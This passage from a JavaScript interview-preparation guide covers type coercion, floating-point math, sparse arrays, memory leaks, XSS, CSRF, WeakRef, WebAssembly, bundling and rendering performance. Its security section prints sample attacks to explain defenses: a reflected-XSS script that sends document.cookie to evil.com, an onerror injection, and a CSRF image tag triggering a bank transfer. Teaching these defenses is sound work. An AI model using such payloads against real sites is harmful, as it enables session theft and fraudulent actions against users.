a[b] = 123;  // a["[object Object]"] = 123
a[c] = 456;  // a["[object Object]"] = 456 -- overwrites!
console.log(a[b]); // 456

// To see what keys actually exist:
Object.keys(a); // ["[object Object]"]
How to actually use objects as keys:
// Use Map (object identity as key)
const map = new Map();
map.set(b, 123);
map.set(c, 456);
map.get(b); // 123 (correct!)
map.get(c); // 456 (correct!)

// Or customize toString
const b = { key: 'b', toString() { return `obj-${this.key}`; } };
What interviewers are really testing: Do you understand automatic type coercion for property keys? Do you know that Map solves this problem?Red flag answer: “I’d just use different object keys.” The point is understanding that ALL objects coerce to the SAME string key, which is why Map exists for object-keyed lookups.Follow-up questions:
  • “What other values are coerced when used as object keys?” — Numbers are converted to strings: obj[1] and obj['1'] are the same key. null becomes 'null', undefined becomes 'undefined', true becomes 'true'. Arrays use toString(): obj[[1,2]] becomes obj['1,2']. This is why Map with its strict key identity is preferred for non-string keys.
  • “How does Symbol.toStringTag affect this?”Symbol.toStringTag changes the output of Object.prototype.toString.call(), which affects debugging output. But it does NOT change what .toString() returns when called directly for key coercion. To fix the key coercion issue, override .toString() directly on the object or its prototype.
Answer: 0.1 + 0.2 === 0.3 is false. The result is 0.30000000000000004.Why: JavaScript uses IEEE 754 double-precision floating-point numbers (64-bit). Many decimal fractions (like 0.1 and 0.2) cannot be represented exactly in binary — just like 1/3 cannot be represented exactly in decimal (0.333…). The tiny representation errors accumulate during arithmetic.
0.1 + 0.2;            // 0.30000000000000004
0.1 + 0.2 === 0.3;    // false

// The actual stored values (to full precision)
(0.1).toPrecision(20);   // "0.10000000000000000555"
(0.2).toPrecision(20);   // "0.20000000000000001110"
(0.3).toPrecision(20);   // "0.29999999999999998890"
Solutions for production code:
// 1. Epsilon comparison (general purpose)
function areEqual(a, b) {
    return Math.abs(a - b) < Number.EPSILON;
}
areEqual(0.1 + 0.2, 0.3); // true

// 2. Integer arithmetic for money (the correct approach for financial code)
// Store cents, not dollars
const priceInCents = 1050; // $10.50
const tax = Math.round(priceInCents * 0.08); // 84 cents
const total = priceInCents + tax; // 1134 cents = $11.34
// Display: (total / 100).toFixed(2)

// 3. toFixed for display (but returns a string)
(0.1 + 0.2).toFixed(1); // "0.3"
// Warning: toFixed has its own rounding issues in some browsers

// 4. Libraries for serious financial math
// decimal.js, dinero.js, big.js -- arbitrary precision decimals
What interviewers are really testing: Do you understand WHY this happens (not just that it happens)? Do you know the correct approach for financial calculations?Red flag answer: “Just use .toFixed(2) for money.” toFixed has its own rounding issues ((1.005).toFixed(2) returns “1.00” in some engines, not “1.01”), and it returns a string. For financial code, use integer cents or a decimal library.Follow-up questions:
  • “Is this a JavaScript-specific problem?” — No. Every language using IEEE 754 floats has this issue: Python, Java, C, Go. Python has a Decimal module, Java has BigDecimal. The issue is inherent to binary floating-point representation, not to any specific language.
  • “When is Number.EPSILON not sufficient?”Number.EPSILON (~2.2e-16) is the smallest difference between two representable numbers near 1.0. For numbers much larger or smaller than 1.0, you need a relative epsilon: Math.abs(a - b) <= Math.max(Math.abs(a), Math.abs(b)) * Number.EPSILON. For financial calculations, do not use epsilon at all — use integer arithmetic.
  • “Why does 0.1 + 0.2 - 0.3 not equal zero?” — The accumulated rounding errors in 0.1 + 0.2 do not cancel out when you subtract 0.3. The result is approximately 5.55e-17. Different groupings of the same operations can produce different results: (0.1 + 0.2) + 0.3 vs 0.1 + (0.2 + 0.3) can differ. This is why floating-point arithmetic is not associative.
Code:
const a = new Array(3);
a.map(v => 1);
Output: [empty x 3] (not [1, 1, 1])Why: new Array(3) creates a sparse array with 3 empty “holes” — not 3 slots with undefined. Array methods like map, filter, forEach, every, some skip holes entirely. They never call the callback for empty slots.
const sparse = new Array(3);
console.log(0 in sparse);    // false -- slot 0 does not exist
console.log(sparse[0]);      // undefined -- but this is just default return for missing property

const dense = [undefined, undefined, undefined];
console.log(0 in dense);     // true -- slot 0 exists (has a value: undefined)

sparse.map(x => 1);  // [empty x 3] -- callback never called
dense.map(x => 1);   // [1, 1, 1] -- callback called 3 times
Fixes — creating dense arrays:
new Array(3).fill(0);                          // [0, 0, 0]
Array.from({ length: 3 }, (_, i) => i);       // [0, 1, 2]
Array.from({ length: 3 }, () => 1);           // [1, 1, 1]
[...new Array(3)].map((_, i) => i);           // [0, 1, 2] (spread fills holes with undefined)
Other ways to create holes accidentally:
const arr = [1, 2, 3];
delete arr[1];       // [1, empty, 3] -- creates a hole!
arr.length = 5;      // [1, empty, 3, empty, empty]
[1, , 3];            // [1, empty, 3] -- elision syntax
What interviewers are really testing: Do you know the difference between a hole and undefined? Do you know which array methods skip holes?Red flag answer: “It returns [undefined, undefined, undefined].” Holes and undefined are different — and knowing this prevents subtle bugs with sparse arrays.Follow-up questions:
  • “Which array methods skip holes and which don’t?”map, filter, forEach, every, some, find, findIndex, reduce all skip holes. for...of iterates holes as undefined. Array.from converts holes to undefined. fill fills holes. Spread ([...sparse]) converts holes to undefined. The inconsistency is a spec decision from ES5 that cannot be changed.
  • “How do sparse arrays affect performance?” — V8 uses different internal representations for dense vs sparse arrays. Dense arrays use a contiguous C-style array (fast). Sparse arrays (or arrays with holes) use a dictionary/hash table (slower — similar to object property lookup). A single delete arr[i] can transition an entire array from fast mode to slow mode.
  • “What is Array.from() doing differently from new Array() that makes it dense?”Array.from({ length: 3 }) iterates from index 0 to length-1, calling the mapping function (or just producing undefined) for each index. It creates a dense array where each slot exists. new Array(3) just sets the length property to 3 without creating any slots — it is a “pre-sized” empty container.

7. Performance & Security

Answer: A memory leak in JavaScript means objects that are no longer needed remain reachable (so the GC cannot collect them), causing heap usage to grow continuously. In SPAs, this is the #1 cause of degraded performance over time — the app gets slower the longer it runs.The five most common leak patterns:
  1. Global variableswindow.data = hugeArray or forgetting let/const in sloppy mode. Globals are GC roots and live forever.
  2. Event listeners not removed — In SPAs, adding listeners on mount without removing on unmount. Each navigation adds more listeners. After 50 navigations, 50 copies of the same listener exist.
// BAD: Leaks in SPA
function initPage() {
    window.addEventListener('resize', handleResize);
    // User navigates away -- listener is still attached
}

// GOOD: Clean up
function initPage() {
    window.addEventListener('resize', handleResize);
    return () => window.removeEventListener('resize', handleResize);
}
  1. Timers not clearedsetInterval callbacks keep their closures alive. If the callback closes over a component’s state or large data, that data is never freed.
  2. Closures retaining large objects — A closure that only uses one property of a large object still retains the entire object (see Question 3).
  3. Detached DOM nodes — Removing a DOM element but keeping a JS reference. The node and all its children, event listeners, and associated data stay in memory.
// Leak: detached DOM tree
const elements = [];
function createWidget() {
    const el = document.createElement('div');
    el.innerHTML = '<p>Widget</p>';
    document.body.appendChild(el);
    elements.push(el); // Reference kept in array
}
function removeWidget() {
    document.body.removeChild(elements[0]);
    // elements[0] still references the removed node -- LEAK
    // Fix: elements.shift() or elements[0] = null
}
How to diagnose in Chrome DevTools:
  1. Performance tab -> Record -> perform the suspected leaky action -> stop. Look at “JS Heap” line — does it steadily increase?
  2. Memory tab -> take Heap Snapshot (baseline) -> perform action -> Force GC (trash can icon) -> take another snapshot
  3. Select “Objects allocated between Snapshot 1 and 2” to see what was created
  4. Sort by “Retained Size” — the largest entries are suspects
  5. Check “Retainers” panel to see the reference chain keeping objects alive
What interviewers are really testing: Can you identify leak patterns in code? Can you use DevTools to diagnose a leak? Senior candidates should describe a real leak they found and fixed.Red flag answer: “JavaScript garbage collects automatically, so memory leaks don’t happen.” They do — any time you accidentally maintain a reference to an object you no longer need.Follow-up questions:
  • “Your Node.js API server’s RSS grows by 100MB/hour. How do you find the leak?” — (1) Add process.memoryUsage() logging to track heap growth over time. (2) Enable --inspect and connect Chrome DevTools remotely. (3) Take heap snapshots 30 minutes apart, compare to find growing object types. (4) Common Node.js-specific leaks: growing Map/Set caches without eviction (fix with LRU), unclosed database connections/streams, and event emitter listeners accumulating on long-lived objects. Tools: clinic.js doctor for automated analysis, heapdump npm for programmatic snapshots.
  • “How do React hooks help prevent memory leaks compared to class components?”useEffect returns a cleanup function that runs on unmount or before the next effect run. This co-locates setup and teardown, making it harder to forget cleanup. In class components, componentDidMount (setup) and componentWillUnmount (teardown) are separate methods, and developers often forgot to implement unmount cleanup.
  • “What is the WeakRef + FinalizationRegistry pattern for cache management?” — Use WeakRef to hold cache values without preventing GC. When the original object is collected, FinalizationRegistry runs a callback where you clean up the cache entry. This gives you a self-cleaning cache, but GC timing is non-deterministic, so you cannot rely on prompt cleanup.
Answer: XSS is the most prevalent web security vulnerability (OWASP Top 10). An attacker injects malicious JavaScript into a page viewed by other users. The injected script runs with the same privileges as the legitimate code — it can steal cookies, session tokens, modify the page, or redirect users.Three types of XSS:
  1. Reflected XSS — The malicious script comes from the current HTTP request (URL param, form input). The server includes the unescaped input in the response. Example: https://site.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>
  2. Stored XSS — The script is stored in the server’s database and served to every user who views the affected page. Example: a forum post containing <img onerror="stealCookies()" src="x">. More dangerous because it affects all visitors.
  3. DOM-based XSS — The vulnerability is entirely client-side. JavaScript reads untrusted data (URL fragment, postMessage) and writes it to the DOM unsafely. The server is never involved. Example: document.innerHTML = location.hash
Prevention — defense in depth (use ALL of these):
  1. Output encoding/escaping — Encode user data based on context: HTML body (encode <, >, &, ", '), HTML attributes, JavaScript strings, URLs. Frameworks like React auto-escape JSX expressions ({userInput} is safe). But dangerouslySetInnerHTML bypasses this.
  2. Content Security Policy (CSP) — HTTP header that restricts which scripts can execute: Content-Security-Policy: script-src 'self' https://trusted-cdn.com. Blocks inline scripts and eval(). This is your strongest defense.
  3. Input sanitization — Use DOMPurify for any HTML that must be rendered: DOMPurify.sanitize(userHTML). Never write your own HTML sanitizer.
  4. HttpOnly cookies — Even if XSS occurs, the attacker cannot steal session tokens because document.cookie does not include HttpOnly cookies.
  5. Trusted Types API — Browser feature that prevents DOM XSS sinks (innerHTML, eval) from accepting raw strings. Requires creating “trusted” strings through a policy function.
The React gotcha:
// SAFE: React auto-escapes
<p>{userInput}</p>

// DANGEROUS: Bypasses escaping
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Only use with DOMPurify: dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}}

// DANGEROUS: href with javascript: protocol
<a href={userProvidedUrl}>Click</a>
// If userProvidedUrl is "javascript:alert(1)", it executes!
// Fix: validate URL starts with https:// or http://
What interviewers are really testing: Do you know the three XSS types and their prevention? Can you identify XSS vulnerabilities in code? Senior candidates should mention CSP headers and Trusted Types.Red flag answer: “React prevents all XSS.” React prevents most output-encoding XSS, but dangerouslySetInnerHTML, href, src, style, and server-rendered HTML are still vulnerable.Follow-up questions:
  • “How does CSP work and what is nonce-based CSP?” — CSP is an HTTP header telling the browser which sources of content are trusted. nonce-based CSP adds a unique random token to each response: script-src 'nonce-abc123'. Only <script nonce="abc123"> tags execute. Injected scripts without the nonce are blocked. The nonce changes per request, so attackers cannot predict it.
  • “What is the difference between sanitization and escaping?” — Escaping converts dangerous characters to safe representations (< to &lt;) — the data is displayed as text, not executed. Sanitization parses HTML and removes dangerous elements/attributes while keeping safe ones (<b> allowed, <script> removed). Use escaping for plain text, sanitization when you need to render user-provided HTML.
  • “How do you prevent DOM-based XSS in a single-page application?” — (1) Never use innerHTML, outerHTML, or document.write with untrusted data — use textContent instead. (2) Validate and sanitize URL parameters before using them in DOM operations. (3) Use CSP to block eval and inline scripts. (4) Use Trusted Types to enforce that only sanitized strings reach DOM sinks.
Answer: CSRF exploits the fact that browsers automatically attach cookies to requests. An attacker’s site can trigger a request to your site, and the browser sends the user’s session cookie with it. The server sees a valid session and processes the request — transferring funds, changing passwords, etc.How the attack works:
  1. User is logged into bank.com (session cookie set)
  2. User visits evil.com
  3. evil.com has <img src="https://bank.com/transfer?to=attacker&amount=10000">
  4. Browser makes GET request to bank.com with the user’s session cookie
  5. Bank processes the transfer because the session is valid
Prevention (use multiple layers):
  1. SameSite Cookie Attribute — The modern primary defense:
    • SameSite=Strict — Cookie is NEVER sent on cross-site requests. Strongest protection but breaks legitimate cross-site links.
    • SameSite=Lax (default in modern browsers) — Cookie sent on top-level GET navigation (clicking a link) but NOT on POST, images, iframes, or AJAX from other sites. Good balance.
    • SameSite=None; Secure — Cookie always sent cross-site (old behavior). Required for legitimate cross-site use cases (embedding, SSO).
  2. CSRF Tokens — Server generates a random token per session, embeds it in forms as a hidden field, and validates it on submission. The attacker cannot read the token (blocked by same-origin policy).
<form method="POST" action="/transfer">
    <input type="hidden" name="_csrf" value="random-token-xyz" />
    <!-- ... form fields ... -->
</form>
  1. Double Submit Cookie — Send the CSRF token as both a cookie and a request header/body. The attacker can trigger requests with cookies but cannot read or set custom headers cross-origin.
  2. Check Origin / Referer headers — Verify the request comes from your own domain. The Origin header cannot be forged by JavaScript.
What interviewers are really testing: Do you understand why cookies make CSRF possible? Do you know that SameSite=Lax is now the default and significantly reduces CSRF risk? Senior candidates should explain the double-submit cookie pattern and why SameSite alone may not be sufficient for all cases.Red flag answer: “CSRF is prevented by checking if the user is logged in.” Authentication is the prerequisite for CSRF, not the defense. The whole point is that the user IS logged in and the attacker exploits that.Follow-up questions:
  • “Does SameSite=Lax fully prevent CSRF?” — It prevents most attacks but not all. Lax allows cookies on top-level GET navigations, so GET-based state changes (which violate HTTP semantics but exist in legacy apps) are still vulnerable. Also, within a 2-minute window after a cookie is set, some browsers allow it to be sent cross-site on POST for compatibility. Always use CSRF tokens for sensitive state-changing operations in addition to SameSite.
  • “How does CSRF protection work for single-page applications making API calls?” — SPAs typically use token-based auth (JWT in Authorization header) rather than cookies. Since custom headers cannot be set cross-origin (blocked by CORS preflight), CSRF is inherently prevented. If you do use cookies for auth, add a custom header (like X-CSRF-Token) that the server validates — the preflight requirement prevents cross-origin requests from setting it.
  • “What is the relationship between CORS and CSRF?” — CORS prevents the attacker from READING the response of a cross-origin request. CSRF exploits the fact that the request is SENT (with cookies) regardless of CORS. The server processes the request even if the browser blocks the response from reaching the attacker. CORS alone does NOT prevent CSRF — the damage is done by the request itself (e.g., a fund transfer).
Answer: WeakRef (ES2021) provides a weak reference to an object that does not prevent garbage collection. FinalizationRegistry lets you register a callback that runs after an object is garbage collected. Together with WeakMap, these form JavaScript’s toolkit for memory-sensitive and security-conscious data storage.
// WeakRef -- hold a reference without preventing GC
let target = { data: 'important' };
const ref = new WeakRef(target);

ref.deref(); // { data: 'important' } -- object is still alive
target = null; // Remove the strong reference

// After GC runs (non-deterministic):
ref.deref(); // undefined -- object was collected

// FinalizationRegistry -- cleanup callback after GC
const registry = new FinalizationRegistry((heldValue) => {
    console.log(`Cleaning up: ${heldValue}`);
    // Close file handles, release resources, remove cache entries
});

let obj = { data: 'temp' };
registry.register(obj, 'temp-object-cleanup-key');
obj = null; // Eventually: "Cleaning up: temp-object-cleanup-key"
Security-oriented patterns with WeakMap:
// Private data that cannot be accessed without the key object
const secrets = new WeakMap();

class SecureSession {
    constructor(userId) {
        secrets.set(this, {
            token: generateToken(),
            permissions: [],
            createdAt: Date.now()
        });
        this.userId = userId; // Public
    }

    getToken() {
        return secrets.get(this).token; // Only accessible through the instance
    }
}

const session = new SecureSession('user-1');
// secrets.get(session) works inside the class
// But external code cannot enumerate WeakMap entries
// When 'session' is GC'd, the secret data is automatically cleaned up
Real use case: cache with automatic cleanup:
const cache = new Map();
const registry = new FinalizationRegistry((key) => {
    cache.delete(key); // Clean up cache when the associated object is GC'd
});

function getExpensiveData(key, obj) {
    if (cache.has(key)) return cache.get(key);
    const result = computeExpensive(obj);
    cache.set(key, result);
    registry.register(obj, key); // When obj is GC'd, remove from cache
    return result;
}
What interviewers are really testing: Do you understand when to use weak references for memory management? Do you know the non-deterministic nature of GC callbacks? This is a senior/staff-level question.Red flag answer: “WeakRef is for making things private.” Privacy is WeakMap’s use case (where the key must be kept private). WeakRef is for observing object lifetimes without preventing collection.Follow-up questions:
  • “Why should you not rely on FinalizationRegistry for critical cleanup?” — GC timing is non-deterministic. The callback might run immediately, or after minutes, or never (if the process exits first). Use it for optimization (cache cleanup) but not for correctness-critical operations (releasing locks, closing connections). For those, use explicit cleanup methods or try/finally.
  • “How do private class fields (#field) compare to WeakMap for encapsulation?”#field is true privacy enforced by the engine — accessing obj.#field from outside the class is a SyntaxError. WeakMap-based privacy relies on the WeakMap being inaccessible (it can be accessed if someone gets a reference to it). #field is simpler and faster. WeakMap is needed for: pre-class syntax code, dynamic private data, and cross-class private sharing (two classes sharing private data via a shared WeakMap).
Answer: WebAssembly is a binary instruction format that runs in the browser at near-native speed. It is not a replacement for JavaScript — it is a complement for performance-critical code that JS cannot handle efficiently (heavy computation, real-time processing, porting existing C++/Rust codebases).How it works: Source code (C, C++, Rust, Go, AssemblyScript) is compiled to .wasm binary format by a compiler (Emscripten for C/C++, wasm-pack for Rust). The browser’s Wasm runtime executes the binary with predictable performance (no GC pauses, no JIT warmup).
// Loading and using a Wasm module
const response = await fetch('module.wasm');
const wasmModule = await WebAssembly.instantiateStreaming(response, {
    env: {
        // Import JS functions that Wasm can call
        log: (value) => console.log(value),
        memory: new WebAssembly.Memory({ initial: 256 })
    }
});

const result = wasmModule.instance.exports.fibonacci(40);
// Wasm fibonacci(40): ~100ms
// JS fibonacci(40): ~1500ms (interpreted) or ~300ms (JIT'd)
Real production uses:
  • Figma — Real-time collaborative design tool. C++ rendering engine compiled to Wasm. 3x faster than equivalent JS.
  • Google Earth — 3D globe rendering in the browser via Wasm.
  • Photoshop Web — Image processing algorithms in C++ running as Wasm.
  • SQLite in the browser — The actual C codebase compiled to Wasm (sql.js).
  • Crypto librarieslibsodium.js uses Wasm for constant-time crypto operations.
Wasm vs JS — when to choose which:
  • Use Wasm for: CPU-bound computation (image/video processing, physics, crypto), porting existing C++/Rust code, predictable performance (no GC jitter)
  • Use JS for: DOM manipulation (Wasm cannot access DOM directly), I/O-bound work (fetch, timers), UI logic, anything where developer productivity matters more than raw speed
  • The crossover: for computational tasks under ~10ms, the overhead of calling into Wasm and transferring data back negates the speed advantage
What interviewers are really testing: Do you understand Wasm’s role (complement to JS, not replacement)? Do you know the tradeoffs? Senior candidates should mention that Wasm cannot access the DOM directly and requires JS interop for any browser API.Red flag answer: “WebAssembly will replace JavaScript.” Wasm has no DOM access, no built-in GC for complex objects (WASM GC proposal is recent), and requires a compiled language toolchain. JS remains the right choice for 95% of web development.Follow-up questions:
  • “How does data transfer between JS and Wasm work?” — Through shared WebAssembly.Memory (a resizable ArrayBuffer). JS writes data to the memory buffer, Wasm reads it directly (and vice versa). For complex objects, you serialize to a flat format. Strings require encoding to UTF-8 bytes in the memory buffer. This serialization overhead is why frequent small Wasm calls are slower than one large batch call.
  • “What is WASI and why does it matter?” — WebAssembly System Interface (WASI) provides a standardized set of system-level APIs (file access, networking, clock) for Wasm modules running outside browsers (servers, edge computing, IoT). It enables Wasm as a universal runtime — write once, run anywhere with sandboxed security. Cloudflare Workers and Fastly Compute use Wasm+WASI for edge functions.
  • “What is AssemblyScript and when would you use it over Rust/C++ for Wasm?” — AssemblyScript is a TypeScript-like language that compiles to Wasm. It has a lower learning curve for JS developers (familiar syntax) and produces smaller Wasm binaries than C++/Rust for simple cases. Use it for: performance-critical utility functions where you do not want to set up a full C++/Rust toolchain. Use Rust/C++ for: complex systems, existing codebases, or when you need maximum performance.
Answer: Tree shaking is dead code elimination that removes unused exports from your final bundle. It is the reason switching from import _ from 'lodash' (imports everything, ~70KB) to import { debounce } from 'lodash-es' (imports only debounce, ~1KB) dramatically reduces bundle size.How it works:
  1. Bundler (Webpack, Rollup, esbuild) builds a dependency graph from your import/export statements
  2. Starting from entry points, it traces which exports are actually imported and used
  3. Unused exports are marked as “dead code”
  4. During minification (Terser, esbuild), dead code is removed from the final bundle
Why ESM is required: Tree shaking depends on static analysis — knowing at build time which exports are used. ESM’s import/export are static declarations (must be top-level, cannot be conditional). CommonJS require() is dynamic (can be in if blocks, computed paths), making it impossible to statically determine what is used.What prevents tree shaking (common pitfalls):
// BAD: Default import -- bundler may include everything
import _ from 'lodash';
_.debounce(fn, 300);

// GOOD: Named import from ESM build
import { debounce } from 'lodash-es';

// BAD: Side-effectful module (importing it runs code)
// utils.js
export const helper = () => {};
console.log('I run on import!'); // Side effect
// Bundler cannot remove this module even if 'helper' is unused

// GOOD: Mark as side-effect-free in package.json
{ "sideEffects": false }
// Or list specific side-effectful files:
{ "sideEffects": ["*.css", "./src/polyfills.js"] }
Verifying tree shaking is working:
  • Use webpack-bundle-analyzer or source-map-explorer to visualize what is in your bundle
  • Search for known unused exports in the production bundle
  • Check that your dependency’s package.json has "sideEffects": false or "module" field pointing to ESM build
What interviewers are really testing: Do you understand why ESM enables tree shaking but CJS does not? Can you identify code patterns that break tree shaking? Senior candidates should mention sideEffects field and barrel file problems.Red flag answer: “Tree shaking removes all unused code automatically.” It only removes unused exports. Side effects, barrel files that re-export everything, and CommonJS modules can all prevent effective tree shaking.Follow-up questions:
  • “What is the barrel file problem?” — A barrel file (index.js) re-exports everything from a directory: export * from './Button'; export * from './Modal'; export * from './Table'. If you import { Button } from './components', some bundlers pull in ALL re-exported modules (because evaluating export * may have side effects). Fix: import directly from the source file, or ensure the package has "sideEffects": false.
  • “How does /*#__PURE__*/ annotation help tree shaking?” — This comment tells the bundler that a function call has no side effects and can be safely removed if the result is unused. Class declarations and HOC wrappings often need this: const MyComponent = /*#__PURE__*/ React.memo(Component). Without it, the bundler assumes React.memo() might have side effects and keeps it.
  • “What is the difference between tree shaking in Webpack, Rollup, and esbuild?” — Rollup was designed for tree shaking from the ground up and produces the smallest bundles. Webpack added tree shaking later and requires more configuration (sideEffects, production mode). esbuild is the fastest but less aggressive with tree shaking than Rollup. For library authors, Rollup is still the gold standard for producing tree-shakeable ESM outputs.
What weak candidates say:
  • “Tree shaking removes all unused code automatically.” It only removes unused exports. Side effects, barrel files, and CJS modules all break it.
  • Cannot explain why ESM enables tree shaking but CJS does not.
  • Have never checked their bundle with webpack-bundle-analyzer or source-map-explorer.
What strong candidates say:
  • Explain that tree shaking requires static analysis of import/export declarations, which is impossible with CJS’s dynamic require().
  • Know the "sideEffects": false field in package.json and why it matters.
  • Can identify barrel file problems and explain how export * can defeat tree shaking.
  • Mention /*#__PURE__*/ annotations for marking function calls as side-effect-free.
  • Have actually audited a production bundle, found unexpected inclusions, and fixed them (e.g., switching from default imports to named imports, eliminating barrel files, or swapping a CJS dependency for its ESM equivalent).
Follow-up chain:
  1. “Your bundle analyzer shows lodash is 70KB in your bundle even though you only use debounce. What went wrong and how do you fix it?” — You are importing from lodash (CJS, default export) instead of lodash-es (ESM, named exports). import { debounce } from 'lodash' still imports the entire CJS bundle because Webpack cannot tree-shake CJS. Fix: import { debounce } from 'lodash-es' or import debounce from 'lodash/debounce' (cherry-pick). Verify with bundle analyzer that only the debounce module appears.
  2. “How does the "exports" field in package.json relate to tree shaking?” — The "exports" field (package entry points) lets library authors define separate entry points for CJS and ESM consumers. "exports": { ".": { "import": "./esm/index.js", "require": "./cjs/index.js" } } ensures that ESM-aware bundlers get the tree-shakeable ESM build. Without it, bundlers may resolve to the CJS entry, defeating tree shaking.
  3. “What is scope hoisting (module concatenation) and how does it improve tree shaking?” — Instead of wrapping each module in a separate function scope (the default), scope hoisting inlines modules into a single scope. This eliminates the function-call overhead AND makes it easier for the minifier to see and remove dead code. Rollup does this by default. Webpack enables it with optimization.concatenateModules: true (on by default in production mode).
Answer: Dynamic import() lets you load JavaScript modules on demand at runtime, splitting your application into smaller chunks that load only when needed. This directly reduces Time to Interactive (TTI) by minimizing the initial bundle size.
// Static import -- loaded at startup, blocks rendering
import { HeavyChart } from './HeavyChart';

// Dynamic import -- loaded when needed
button.addEventListener('click', async () => {
    const { HeavyChart } = await import('./HeavyChart');
    renderChart(HeavyChart);
});

// React.lazy -- the framework-level abstraction
const HeavyChart = React.lazy(() => import('./HeavyChart'));

function Dashboard() {
    return (
        <Suspense fallback={<Spinner />}>
            <HeavyChart />
        </Suspense>
    );
}
Route-based splitting — the biggest win:
// React Router with lazy loading
const Home = React.lazy(() => import('./pages/Home'));
const Settings = React.lazy(() => import('./pages/Settings'));
const Admin = React.lazy(() => import('./pages/Admin'));

// Each route is a separate chunk
// User visiting /home never downloads Admin page code
Prefetching for perceived performance:
// Prefetch on hover (load before click)
function NavLink({ to, children }) {
    const prefetch = () => {
        if (to === '/settings') import('./pages/Settings');
        if (to === '/admin') import('./pages/Admin');
    };

    return <Link to={to} onMouseEnter={prefetch}>{children}</Link>;
}
// Module loads during the ~200ms between hover and click
Webpack magic comments for fine-grained control:
import(
    /* webpackChunkName: "chart-module" */
    /* webpackPrefetch: true */
    './HeavyChart'
);
// webpackChunkName: names the chunk file for debugging
// webpackPrefetch: adds <link rel="prefetch"> to <head> for idle-time loading
What interviewers are really testing: Do you know when to split code, not just how? Do you understand the trade-off between fewer larger chunks (fewer HTTP requests) and more smaller chunks (less unused code)?Red flag answer: “I lazy load every component.” Over-splitting creates too many network requests and waterfall loading. Split at route boundaries and for genuinely heavy components (charts, editors, PDF viewers). Components under ~20KB are not worth splitting.Follow-up questions:
  • “How do you decide what to lazy load?” — Use bundle analyzer (webpack-bundle-analyzer) to find the largest modules. Start with route-level splitting. Then look for heavy third-party dependencies used in specific features (date pickers, rich text editors, chart libraries). Anything above ~50KB gzipped that is not needed on initial render is a candidate.
  • “What happens if a lazy-loaded chunk fails to download?” — The import() promise rejects. In React, the Suspense boundary’s error boundary catches it. You should wrap lazy components with an ErrorBoundary that shows a retry button. Implement retry logic: const retryImport = (fn, retries = 3) => fn().catch(err => retries > 0 ? retryImport(fn, retries - 1) : Promise.reject(err)).
  • “How does lazy loading interact with SSR?” — On the server, React.lazy and dynamic import() need special handling because they are async. Libraries like @loadable/component support SSR by collecting which chunks are needed during server rendering and including <script> tags for them in the HTML. Without this, the client re-downloads and re-renders lazy components, causing a flash.
Answer: Resource hints tell the browser to start loading or connecting to resources before they are discovered in the HTML/CSS. Used correctly, they can cut perceived load time by hundreds of milliseconds.
HintPriorityWhen to useExample
preloadHigh — load NOWCurrent page critical resourcesHero image, main font, above-the-fold CSS
prefetchLow — load when idleNext page resourcesJS for likely next navigation
preconnectMedium — DNS + TCP + TLSThird-party origins you’ll request fromAPI server, CDN, analytics
dns-prefetchLow — DNS onlyThird-party domains (fallback for preconnect)Less critical external domains
fetchpriorityVariesOverride default priority of a resource<img fetchpriority="high"> for LCP image
<!-- Preload: critical font (loads immediately, same-origin) -->
<link rel="preload" href="/fonts/Inter.woff2" as="font" type="font/woff2" crossorigin>

<!-- Prefetch: next page's JS (loads during idle time) -->
<link rel="prefetch" href="/pages/settings.chunk.js">

<!-- Preconnect: establish connection to API server early -->
<link rel="preconnect" href="https://api.example.com">

<!-- Fetch Priority: tell browser which images matter most -->
<img src="hero.jpg" fetchpriority="high" />
<img src="carousel-slide-3.jpg" fetchpriority="low" loading="lazy" />
Common mistakes:
  • Preloading too many resources — The browser has limited bandwidth. Preloading 20 resources makes them compete and slows everything down. Preload only 2-3 truly critical resources.
  • Preloading without using — If you preload a resource and do not use it within 3 seconds, Chrome shows a console warning and the bandwidth was wasted.
  • Using prefetch for current-page resources — Prefetch is for FUTURE navigations. For current-page resources, use preload.
What interviewers are really testing: Do you know the difference between preload and prefetch? Can you identify which resources benefit from preloading? Senior candidates should mention fetchpriority and the risk of over-preloading.Red flag answer: “Just preload everything important.” Preloading too many resources is counterproductive — it creates network contention.Follow-up questions:
  • “How do you identify which resources to preload for optimal LCP?” — Run Lighthouse or WebPageTest. The LCP (Largest Contentful Paint) element is usually a hero image or heading with a web font. Preload the LCP image’s URL and the font file. For CSS-discovered images (background images), preload is essential because the browser cannot discover them until CSS is parsed. Each preload can save 100-300ms of discovery time.
  • “What is the difference between preload and modulepreload?”preload fetches a resource but does not execute it. modulepreload fetches an ES module AND parses it, resolving its dependency graph eagerly. Use modulepreload for JavaScript modules to avoid the waterfall: without it, module A downloads, then its import of module B triggers another download, etc.
  • “How do 103 Early Hints relate to preload?” — HTTP 103 Early Hints sends preload/preconnect headers BEFORE the main response (while the server is still generating it). The browser starts fetching resources during the server’s think time. This can save 200-500ms on server-rendered pages. Supported by Cloudflare, CDNs, and modern browsers.
Answer: Virtualization renders only the items visible in the viewport, reusing DOM nodes as the user scrolls. For a list of 100,000 items, instead of creating 100,000 DOM nodes (which would use ~1GB of memory and freeze the browser), you render ~20 visible items and update their content as the user scrolls.Why the DOM is the bottleneck: Each DOM node takes ~1-2KB of memory (element + layout + styles). 100,000 nodes = ~200MB just for DOM representation, plus layout calculation for all nodes is O(n). The browser cannot handle this — initial render takes 10+ seconds and scrolling is janky.How windowing works:
  1. Calculate which items are in the viewport based on scroll position and item heights
  2. Render ONLY those items (plus a small overscan buffer above and below)
  3. Use a tall spacer element to maintain correct scrollbar size
  4. On scroll, recalculate visible range and update rendered items
// Simplified virtual list concept
function VirtualList({ items, itemHeight, containerHeight }) {
    const [scrollTop, setScrollTop] = useState(0);

    const startIndex = Math.floor(scrollTop / itemHeight);
    const endIndex = Math.min(
        startIndex + Math.ceil(containerHeight / itemHeight) + 1,
        items.length
    );

    const visibleItems = items.slice(startIndex, endIndex);
    const totalHeight = items.length * itemHeight;
    const offsetY = startIndex * itemHeight;

    return (
        <div style={{ height: containerHeight, overflow: 'auto' }}
             onScroll={e => setScrollTop(e.target.scrollTop)}>
            <div style={{ height: totalHeight }}>
                <div style={{ transform: `translateY(${offsetY}px)` }}>
                    {visibleItems.map((item, i) => (
                        <div key={startIndex + i} style={{ height: itemHeight }}>
                            {item.name}
                        </div>
                    ))}
                </div>
            </div>
        </div>
    );
}
Production libraries:
  • @tanstack/react-virtual (TanStack Virtual) — Framework-agnostic, supports variable heights, grid layouts. The modern choice.
